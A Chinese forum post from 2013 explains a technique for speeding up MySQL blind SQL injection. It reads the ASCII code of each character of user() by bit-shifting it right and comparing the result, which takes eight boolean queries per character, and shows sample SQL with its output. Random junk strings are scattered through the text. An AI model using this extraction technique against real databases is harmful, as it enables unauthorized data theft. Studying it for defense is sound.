找回密码
 立即注册
查看: 2861|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
: k+ x4 U4 V1 y& U6 h) D% v
# N- c' {, w  ]% @- g, r6 @
* p, O7 \$ e# O: e$ c
4 v6 l4 S( \6 m) T下面将以查询mysql数据库当中user()的第一位为例:( k1 C0 l: J9 K, [0 g; M8 g
" g% a& J4 ~8 W" G. E8 G
" W  W' L/ {: E5 i5 |. k0 _
; \+ p2 m2 |- l
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)2 ?! H- H7 E8 Y/ ]! T. N
. m3 l/ d8 F* g. R0 Z
: x' B$ I: j$ S& i) R

  V# ~! z& [) W# }首先执行如下sql语句:
1 g1 c+ i5 N2 q; i  ?/ c- a7 R- E2 U& Z( o

/ s) J+ Z  H; l0 j
- R/ b' g$ j7 Z3 Xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
: Z* S. G; ?% ~  \  t& C  e# t/ Q6 U4 J' i: r

/ U) v9 Q  `1 H3 \2 x
3 [& |5 w, ]* L- P4 O, o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
4 {; S$ _( A. L7 a+ G) \: V% a* _5 ~1 O$ f

' t. x# q* k, ~9 O5 x
- N1 M  `# l! X1 C, i  z, K! Y第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为11 P3 y1 l! p0 m, @0 U; E

0 R& R, t, V2 t ' c" V  w; ^% b2 Y8 f2 o9 n

3 U& F/ v& h- J  @如果运算结果为1,说明第一位为0,不为1
: u! V3 f+ g+ W5 _: P; f7 f) C' q7 W# i0 k7 G: n" m
9 _) y) p* d  V
  R0 L$ A# Q  ^! E
+————————————–+- W. {' t" D9 \2 v# |7 _- k

4 ?( e# `, q/ t6 [; ?| (ascii((substr(user(),1,1))) >> 7)=0 |4 _  S4 P6 w5 _# p1 W$ N
5 \1 f( s, }! K5 s1 t$ z  }' m/ _0 c
+————————————–+  }" O% H9 y6 j
' Y/ H- [' ]" y# J
| 1 |
$ ]. m* B0 R# q/ |; B  M
+ E# j3 [3 @& g% [: v6 O+ I/ J% ^' x+————————————–++ w5 h4 x- \% ~

) D) i7 U+ w  q- `$ h% A" }1 row in set (0.00 sec)
4 G; }( N5 x* Y* F
8 d. n4 z) D/ j0 U这样我们就确定这个8bit的ascii的第一位为0/ l. I: Q5 \2 ^2 {9 s  y3 B

6 Z1 k& ?" m. r: S 7 k" t& r( y9 d  `
& A, K0 d/ z  X1 l- B
第二次我们来做6次右偏移来确定前两位
* C! [7 k) R/ N$ t  M& J' h( o
' c+ ^3 D# {2 L1 w% G ; I/ U7 i9 g: U7 U+ J! b; _3 `: y
6 P1 P! g8 J( A* N' r- c
前两位可能是01或00,即依然可以与0做比较,5 C* [8 N1 l1 I* E, g9 v+ `
9 {& i: t" y' {! p+ S
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ y. X- l+ J; N( }4 i% J; a& {  N5 h( N& [' K  j
+————————————–+
- m) y% R. ]' Y* A$ b8 |% z" h2 N9 M# U$ _7 a5 @
| (ascii((substr(user(),1,1))) >> 6)=0 |* }# @& H' R# l7 Z

+ c8 b, T' P. q+————————————–+& A) u" {+ Z7 X1 f) F, p

1 Y- a( A5 g9 }$ J4 c| 0 |6 C$ N( }/ D/ A) _3 E$ C

  K* Z& {. E0 o% p8 v+————————————–+
, J2 k3 F1 K: Y4 s. ~* X& s6 L5 w1 N$ N( r! \/ W4 m
1 row in set (0.00 sec)
  F8 R/ ~: e! b  U7 i: {9 R0 E/ M+ f/ o$ ~

9 }5 Y; F: ~# _% u0 n
( z% \* V0 i- S" I% H; R/ e结果为0,即第二位为1- g0 D1 Y" s! d! ^
3 K2 D% M+ d4 K: `# ]. y
( v+ z9 k, p7 b( B$ x8 C& j
3 r! ~5 x2 I" y- S
开始猜测前三位为010或011! X" J0 ^! n/ K

" K* P. z& `$ K  \0 x2 S! @# a 9 ]3 a) X+ e" s2 e) ^
% p+ i. E3 k2 Y+ [- a! b9 b
让我们看看010和011的ascii码是多少
! D( ?$ `1 O% U% z# K( I5 T7 g8 C3 b* n- ?

% a: v. Q" N9 p. i8 N3 r2 }9 w/ C/ I. T3 [6 N6 ~
分别查询select b’011′ select b’010′, _. E+ t) ~" w% L* @" O" u
8 ?1 I8 |- }- d1 W

7 [) @! F- i' T% H: d' |1 q
9 v3 Y" _! y# L+ O0 g) m获得结果 010 = 2 011 = 3
0 `' Z4 I, U7 t; s6 b* Y/ m4 ]: B9 {7 [

/ n* o% c  F9 E; b7 Y/ y, m4 k
9 O9 s# L8 y+ C) V1 H* u执行如下sql:/ {9 U: X7 Q% A% e& f
2 R1 z6 |9 }# u. x# q) s

2 k1 u* E) Y* g
( l% X( ?; S* ?5 |mysql> select (ascii((substr(user(),1,1))) >> 5)=2;! B* {# |: \' o% R$ G+ h
+ N: N! O+ n+ d5 `- _- f
+————————————–+
- K9 ?0 n+ }& I9 j5 O
& L- t1 C) K( O  F. x: Q| (ascii((substr(user(),1,1))) >> 5)=2 |
3 @3 @; W' c% B$ x9 b( B( `
. c( k6 l- n  P5 f5 q% C# Q) _+————————————–+
& ]3 l! U# G2 u+ h: y9 O1 X; M8 S
8 n" d0 \4 ^/ `# _+ W3 Q1 Q- h$ _5 h| 0 |7 b; C" ?& m9 ~- L8 j
* j% R, Y) J- T
+————————————–+" N2 f0 F- ]) E1 a  S4 |( x" R0 L
  R" N3 P9 b- m1 J! Z
即前三位不为010,而是011& ]* Q/ `. y* G
! B& U8 {8 G, T# b
+ j# @8 [7 B5 N# d1 f2 _8 \8 v9 G; h

" d# Z" G) B- J' x3 M; y直到获得最后一位9 W" O$ g3 J1 t5 C$ t8 s, t

! Y4 F! J; ~1 K9 O! }
' y; ]  c# B$ p2 Q( x( ?3 V9 x* k, W* u: K
最终结果为:011100107 Q  ^. E: H' v

" Z$ m- w6 r. ?- `" Q) _
: ^% E. B# G% U7 s3 t% x; w
; ?# A' }2 l9 d( u转换一下:; R, ?2 F- C! N  P( T
% K- @- x4 k, e

4 N- h& e: T+ ]6 C2 A  t( U# m7 Z- M( w/ W- Y
select b’01110010′
& d' Q* `/ m7 u0 U
7 i6 R  K/ b+ g. G7 _" z
0 j8 E, h" z# `7 g( p* S9 `" r% @, d) G7 {( h) \. V
查询结果; i/ \( s3 f$ D' I

; ~- v% x+ L4 B0 S; k3 ~ / q, T- `  A7 }7 \1 g( [

' L# S; ~4 u! Y8 Q0 a% X; D+————-+
) X. B. O8 j! t- s: j$ {5 R; ]7 Y0 |% y# R1 b
| b’01110010′ |% q5 S7 ^7 B, T0 @# n
% K+ `* y. |& @1 _: J, s
+————-+% Q1 E+ i% n. T
1 p, x! V" J; O6 T
| r |
# _9 w3 O1 u& u: Q% i
6 m# R5 L. U. R" f+————-+
2 q$ B% m  v) l6 _, E
4 |: G1 Y- J' k# e# ]' A$ X  _1 row in set (0.00 sec)# q# b* x- M! v5 N) U% R* e2 a
' Z. q7 {# R5 ]! E8 `+ f9 f! A9 h6 u

! S' P' w, g4 p1 y7 z" u9 i; g5 y4 a) k: G) n  B9 E# {: L$ p- e
这样我们就获得了user()的第一位.其它位依此类推
) b3 x% O5 @8 S9 K0 i; B
# N" f4 C* ?3 ~, s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表